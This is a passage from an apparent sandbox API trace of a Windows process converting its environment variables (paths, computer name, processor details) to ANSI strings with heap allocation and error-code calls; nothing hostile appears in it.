HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0042.849] GetLastError () returned 0x0 [0042.849] SetLastError (dwErrCode=0x0) [0042.849] GetLastError () returned 0x0 [0042.849] SetLastError (dwErrCode=0x0) [0042.849] GetLastError () returned 0x0 [0042.849] SetLastError (dwErrCode=0x0) [0042.849] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x31dff20) returned 0x8 [0042.849] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x31dff20, Size=0xc) returned 0x3239cd8 [0042.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0042.849] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x37) returned 0x327c6e0 [0042.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x327c6e0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0042.849] GetLastError () returned 0x0 [0042.849] SetLastError (dwErrCode=0x0) [0042.849] GetLastError () returned 0x0 [0042.849] SetLastError (dwErrCode=0x0) [0042.849] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3239cd8) returned 0xc [0042.850] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3239cd8, Size=0x10) returned 0x3239d08 [0042.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0042.850] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3c) returned 0x3244588 [0042.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3244588, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3239d08) returned 0x10 [0042.850] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3239d08, Size=0x14) returned 0x3288190 [0042.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0042.850] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x31) returned 0x327c660 [0042.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x327c660, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0042.850] GetLastError () returned 0x0 [0042.850] SetLastError (dwErrCode=0x0) [0042.850] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3288190) returned 0x14 [0042.851] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3288190, Size=0x18) returned 0x3288150 [0042.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0042.851] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x3288190 [0042.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3288190, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.851] GetLastError () returned 0x0 [0042.851] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3288150) returned 0x18 [0042.852] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3288150, Size=0x1c) returned 0x3284820 [0042.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0042.852] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x3282d10 [0042.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x3282d10, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.852] GetLastError () returned 0x0 [0042.852] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3284820) returned 0x1c [0042.853] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3284820, Size=0x20) returned 0x3284848 [0042.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0042.853] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x14) returned 0x3288150 [0042.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x3288150, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.853] SetLastError (dwErrCode=0x0) [0042.853] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3284848) returned 0x20 [0042.854] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3284848, Size=0x24) returned 0x3282ec0 [0042.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0042.854] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xd) returned 0x3239d08 [0042.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x3239d08, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.854] SetLastError (dwErrCode=0x0) [0042.854] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] SetLastError (dwErrCode=0x0) [0042.855] GetLastError () returned 0x0 [0042.855] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3282ec0) returned 0x24 [0042.855] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3282ec0, Size=0x28) returned 0x3282e90 [0042.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0042.855] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x25) returned 0x3282ec0 [0042.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x3282ec0, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0042.855] GetLastError () returned 0x0 [0042.855] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3282e90) returned 0x28 [0042.855] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3282e90, Size=0x2c) returned 0x3227128 [0042.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0042.855] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x39) returned 0x32445d0 [0042.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x32445d0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0042.855] GetLastError () returned 0x0 [0042.855] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3227128) returned 0x2c [0042.855] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3227128, Size=0x30) returned 0x32270b8 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0042.856] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x32881b0 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x32881b0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0042.856] GetLastError () returned 0x0 [0042.856] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x32270b8) returned 0x30 [0042.856] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x32270b8, Size=0x34) returned 0x327c720 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0042.856] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x3288170 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x3288170, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0042.856] GetLastError () returned 0x0 [0042.856] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x327c720) returned 0x34 [0042.856] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x327c720, Size=0x38) returned 0x327c760 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0042.856] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xe) returned 0x3239cd8 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x3239cd8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0042.856] GetLastError () returned 0x0 [0042.856] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x327c760) returned 0x38 [0042.856] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x327c760, Size=0x3c) returned 0x3244660 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0042.856] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x69) returned 0x3236210 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x3236210, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0042.856] GetLastError () returned 0x0 [0042.856] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3244660) returned 0x3c [0042.856] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3244660, Size=0x40) returned 0x32446a8 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0042.856] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3e) returned 0x3244660 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x3244660, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0042.856] GetLastError () returned 0x0 [0042.856] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x32446a8) returned 0x40 [0042.856] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x32446a8, Size=0x44) returned 0x324b320 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.856] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1b) returned 0x3284848 [0042.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x3284848, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0042.856] GetLastError () returned 0x0 [0042.856] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x324b320) returned 0x44 [0042.856] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x324b320, Size=0x48) returned 0x324b370 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0042.857] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1d) returned 0x3284820 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x3284820, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0042.857] GetLastError () returned 0x0 [0042.857] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x324b370) returned 0x48 [0042.857] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x324b370, Size=0x4c) returned 0x3283158 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0042.857] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x324b370 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x324b370, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0042.857] GetLastError () returned 0x0 [0042.857] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3283158) returned 0x4c [0042.857] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3283158, Size=0x50) returned 0x3283260 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0042.857] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x32881f0 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x32881f0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0042.857] GetLastError () returned 0x0 [0042.857] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3283260) returned 0x50 [0042.857] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3283260, Size=0x54) returned 0x3258c20 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0042.857] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x32881d0 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x32881d0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0042.857] GetLastError () returned 0x0 [0042.857] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3258c20) returned 0x54 [0042.857] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3258c20, Size=0x58) returned 0x3258c80 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.857] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1b) returned 0x3284870 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3284870, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0042.857] GetLastError () returned 0x0 [0042.857] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x3258c80) returned 0x58 [0042.857] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x3258c80, Size=0x5c) returned 0x31a45d8 [0042.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 